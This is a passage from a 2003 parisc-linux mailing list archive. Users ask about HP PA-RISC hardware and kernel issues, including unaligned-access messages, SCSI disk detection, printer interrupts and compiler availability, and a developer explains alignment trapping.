ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0505800 (irq = 122) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 83 F6 4A IRQ 87.
82596.c $Revision: 1.30 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: MICROP    Model: 2112              Rev: 4024
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: sda1 sda2 sda3
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 18 at 0xf0104000, IRQ 82
mice: PS/2 mouse device common for all mice
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :    60.800 MB/sec
   8regs_prefetch:    60.800 MB/sec
   32regs    :    70.800 MB/sec
   32regs_prefetch:    70.800 MB/sec
raid5: using function: 32regs_prefetch (70.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 266k freed
Adding Swap: 130836k swap-space (priority -1)
EXT3 FS 2.4-0.9.19, 19 August 2002 on sd(8,2), internal journal
eth0: link ok.


Now one thing I found is that the interrupt count for the
printer port doesn't increase even if I send a file to /dev/lp0
or print through the printer daemon. I tried to run
"tunelp /dev/lp0 -i 0", but it complained about invalied argument
to ioctl (maybe wasn't updated since 2.2?) and it says "using IRQ 88".

Anyone has any idea how to solve this problem?

And two more questions. Is the sound card full duplex? My standard
method of determinig, "cat /dev/audio > /dev/audio" told me that
"Device or resource busy" therefore it seems it is not. Is it true?

The other question. I am using emacs, and I regularly see these messages:

Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf2 at ip=0x0008937f
Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf2 at ip=0x0008930b

What are they?

TIA, Vilmos


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Thu, 9 Jan 2003 00:29:02 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20030109082902.GF23535@tausq.org>
References: <200301090755.h097tadb003653@vilmos.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622084 19573 80.91.229.3 (22 Nov 2014 02:08:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 01:24:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC7EB4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 01:24:21 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7D2FFCF381; Thu,  9 Jan 2003 00:29:02 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200301090755.h097tadb003653@vilmos.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17298

> The other question. I am using emacs, and I regularly see these messages:
> 
> Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf2 at ip=0x0008937f
> Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf2 at ip=0x0008930b
> 
> What are they?

Blame LaMont!
(yes, I'm just kidding, I've just been waiting for my chance to say
this... :-)

On a more serious note, on parisc load/stores to half-words, words,
doublewords have specific address alignment requirements. the message
usually means the program in question is buggy and is making unaligned
accesses. The unaligned access is trapped and emulated by the kernel, 
so normally the message itself is simply informational.

This is definitely a FAQ.... maybe we should add it to the list :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc or kernel problem?
Date: Thu, 9 Jan 2003 12:24:39 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <3E082C0A00001EC1@ocpmta4.freegates.net>
References: <3DED9BF500003DF9@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622084 19577 80.91.229.3 (22 Nov 2014 02:08:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:04 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Randolph Chung" <randolph@tausq.org>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 04:25:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8057A4829
	for <parisc-linux@parisc-linux.org>; Thu,  9 Jan 2003 04:25:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18WaoC-0000WO-00; Thu, 09 Jan 2003 12:25:12 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 9 Jan 2003 12:24:39 +0100
In-Reply-To: <3DED9BF500003DF9@ocpmta8.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17299

Hello Carlos, Dave, Randolph, ...

>-- Original Message --
>From: jsoe0708@tiscali.be
>To: parisc-linux@parisc-linux.org
>Subject: [parisc-linux] squid-2.xx dpkg failled to fork on pl (follow up=
)
>Date: Thu, 2 Jan 2003 18:04:01 +0100
>
>
>Hi all,
>
>This small mail to mentionned that I reach to make squid operational on
>a linux-2.4.20-pa17 thanks to the following tips:
>
>in debian rules replace statement
>    ac_cv_func_setresuid=3Dno \
>by
>    ac_cv_func_setresuid=3Dyes \
>
>so that function leave_suid() [into src/tools.c] will use setresuid() in=

>place of seteuid() before launch fork().
>
>Is it a know problem on palinux?
>
I come back to you with this problem because it just supply a solution fo=
r
this problem and do not explain me the reason.

I do not reach to know if it is a problem with seteuid() (IIRC in glibc)
or a kernel problem.

I already try to get a coredump, but it seems that in this case (fork SEG=
V)
linux (SQUID FAQ) is not able to produce any coredump [what I unfortunalt=
ely
verify during numeruous test].

Is somebody have any better idea to help me to have a better idea of the
actula problem?

Thanks in advance,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Krebs <Joerg.Krebs@physik.uni-muenchen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ibm-disk on a hp 735/125
Date: 09 Jan 2003 16:08:30 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <1042124910.3186.34.camel@noink>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622085 19591 80.91.229.3 (22 Nov 2014 02:08:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:05 +0000 (UTC)
To: mailingliste parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 09:34:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pigpen.bl.physik.uni-muenchen.de (pigpen.bl.physik.uni-muenchen.de [129.187.160.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 648A74829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 09:34:27 -0700 (MST)
Original-Received: from clouzot.imo.physik.uni-muenchen.de (clouzot.imo.physik.Uni-Muenchen.DE [141.84.219.130])
	by pigpen.bl.physik.uni-muenchen.de (8.12.5/8.12.5) with ESMTP id h09GYKrO000804
	for <parisc-linux@lists.parisc-linux.org>; Thu, 9 Jan 2003 17:34:20 +0100
Original-Received: from [141.84.219.128] (noink.imo.physik.uni-muenchen.de [141.84.219.128])
	by clouzot.imo.physik.uni-muenchen.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA09061
	for <parisc-linux@lists.parisc-linux.org>; Thu, 9 Jan 2003 17:34:15 +0100
X-Authentication-Warning: clouzot.imo.physik.uni-muenchen.de: Host noink.imo.physik.uni-muenchen.de [141.84.219.128] claimed to be [141.84.219.128]
X-Mailer: Ximian Evolution 1.0.8-3mdk 
X-Scanned-By: MIMEDefang 2.17 (www . roaringpenguin . com / mimedefang)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17300

Hello all,
im running a hp 735/125 with a st31200wd 1GB harddisk, connected to the
fast-wide scsi-connector, which run's quit nice.
But now I want to replace the disk with a larger 4,3GB ibm dcas-34330
disk, but I can't get it be detected by the system, I think i used the
same jumper settings as on the old seagate drive.
at the search for potential boot devices nothing appears.

So perhaps someones uses the same harddisk and can tell me the right
jumper-settings, the disk itself works fine with a normal PC with a
scsi-wide controller.

Thanks for your help

	J. Krebs
-- 

                         ''~``
                        ( o o )
+------------------.oooO--(_)--Oooo.------------------+
|                                                     |
|                    .oooO                            |
|                    (   )   Oooo.                    |
+---------------------\ (----(   )--------------------+
Joerg Krebs            \_)    ) /
Oettingenstr. 67             (_/
80538 Muenchen
Raum: Z1.16

Tel.: +49-89-2180-9251
Fax.: +49-89-2180-9202

Homepage:
http://www.bmo.physik.uni-muenchen.de/~krebs

------------------------------------------------JK




From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Krebs <krebsj@informatik.tu-muenchen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ibm-disk on a hp 735/125
Date: Thu, 9 Jan 2003 17:44:31 +0100 (MET)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.51.0301091743500.9837@sunhalle66>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416622085 19593 80.91.229.3 (22 Nov 2014 02:08:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 09:44:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout.informatik.tu-muenchen.de (mailout.informatik.tu-muenchen.de [131.159.0.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2156A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 09:44:38 -0700 (MST)
Original-Received: from mailrelay1.informatik.tu-muenchen.de (mailrelay1.informatik.tu-muenchen.de [131.159.254.5])
	by mailout.informatik.tu-muenchen.de (Postfix) with ESMTP id 12900620B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 17:44:32 +0100 (MET)
Original-Received: from sunhalle66 (sunhalle66.informatik.tu-muenchen.de [131.159.4.217])
	by mailrelay1.informatik.tu-muenchen.de (Postfix) with ESMTP id DA6EA7946
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 17:44:31 +0100 (MET)
X-X-Sender: krebsj@sunhalle66
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17301

Hello all,
im running a hp 735/125 with a st31200wd 1GB harddisk, connected to the
fast-wide scsi-connector, which run's quit nice.
But now I want to replace the disk with a larger 4,3GB ibm dcas-34330
disk, but I can't get it be detected by the system, I think i used the
same jumper settings as on the old seagate drive.
at the search for potential boot devices nothing appears.

So perhaps someones uses the same harddisk and can tell me the right
jumper-settings, the disk itself works fine with a normal PC with a
scsi-wide controller.

Thanks for your help

J. Krebs



From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa-risc 64 compilation
Date: Thu, 9 Jan 2003 12:52:18 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F0105349E@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622085 19596 80.91.229.3 (22 Nov 2014 02:08:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:05 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 10:52:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FEBF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 10:52:32 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 734DF805A63
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 12:52:26 -0500 (EST)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 547CB1C00A05
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 12:52:26 -0500 (EST)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <CR03JP1L>; Thu, 9 Jan 2003 12:52:26 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17302

Hi people,

	I have a problem to compile an 64 kernel in an 64 machine. The
problem is: hppa64-linux-gcc compiler not found. Someone know what happened?
Where I find this gcc version?

	Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852
FAX +55-51-3316-2754 Mobile +55-51-9965-8020





From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trace/breakpoint trap
Date: Thu, 9 Jan 2003 10:57:38 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F0107A3A9@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622086 19602 80.91.229.3 (22 Nov 2014 02:08:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:06 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  9 11:57:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61DBE4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 11:57:55 -0700 (MST)
Original-Received: from xparelay1.ptp.hp.com (xparelay1.ptp.hp.com [15.1.28.62])
	by palrel11.hp.com (Postfix) with ESMTP id 5280F6007B0
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 10:57:49 -0800 (PST)
Original-Received: from xpabh2.ptp.hp.com (xpabh2.ptp.hp.com [15.1.28.61])
	by xparelay1.ptp.hp.com (Postfix) with ESMTP id 3981410054F9
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Jan 2003 10:57:49 -0800 (PST)
Original-Received: by xpabh2.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <CJ00HGX4>; Thu, 9 Jan 2003 10:57:49 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17303

Hi people,

	The message "Trace/breakpoint trap" occurs to me when I execute my
application. This message occurs only when exists a break command or exists
another situation to occur this message?

Thanks in advance

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 08:29:47 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <3E1AA8D500000856@ocpmta8.freegates.net>
References: <20030109082902.GF23535@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622086 19607 80.91.229.3 (22 Nov 2014 02:08:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:06 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 00:30:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCEC14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 00:30:06 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Wtc6-00086I-00; Fri, 10 Jan 2003 08:29:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 08:29:47 +0100
In-Reply-To: <20030109082902.GF23535@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17304

>-- Original Message --
>From: Randolph Chung <randolph@tausq.org>
>To: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] unaligned accesses
>Reply-To: Randolph Chung <randolph@tausq.org>
>Date: Thu, 9 Jan 2003 00:29:02 -0800
>
>
>> The other question. I am using emacs, and I regularly see these messag=
es:
>> 
>> Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf=
2
>at ip=3D0x0008937f
>> Jan  8 23:52:33 hp kernel: emacs(17795): unaligned access to 0x001cdaf=
2
>at ip=3D0x0008930b
>> 
>> What are they?
>
>Blame LaMont!
>(yes, I'm just kidding, I've just been waiting for my chance to say
>this... :-)
>
Do you think that this tcpdump pb is also related to Lamont job (to be ho=
nest
I do not remember what was it?):
...
Jan  9 09:59:58 fw01 kernel: tcpdump(4638): unaligned access to 0x0011e78=
a
at ip=3D0x0002ab83
Jan  9 09:59:34 fw01 kernel: tcpdump(4638): unaligned access to 0x0011e78=
e
at ip=3D0x0002ab83
...

>On a more serious note, on parisc load/stores to half-words, words,
>doublewords have specific address alignment requirements. the message
>usually means the program in question is buggy and is making unaligned

hmmm buggy: not always, the triky case is when you have to access to thos=
e
kind of data encapsulated into a structure. I do not yet find any workaro=
und
or how to fix this kind of pb. Any idea (gcc-3.3?)?

>accesses. The unaligned access is trapped and emulated by the kernel, 
>so normally the message itself is simply informational.
>
>This is definitely a FAQ.... maybe we should add it to the list :)
>
Yes, works fine but this consume a lot of CPU resources.

Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Thu, 9 Jan 2003 23:36:59 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <20030110073659.GC31470@tausq.org>
References: <20030109082902.GF23535@tausq.org> <3E1AA8D500000856@ocpmta8.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622086 19616 80.91.229.3 (22 Nov 2014 02:08:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
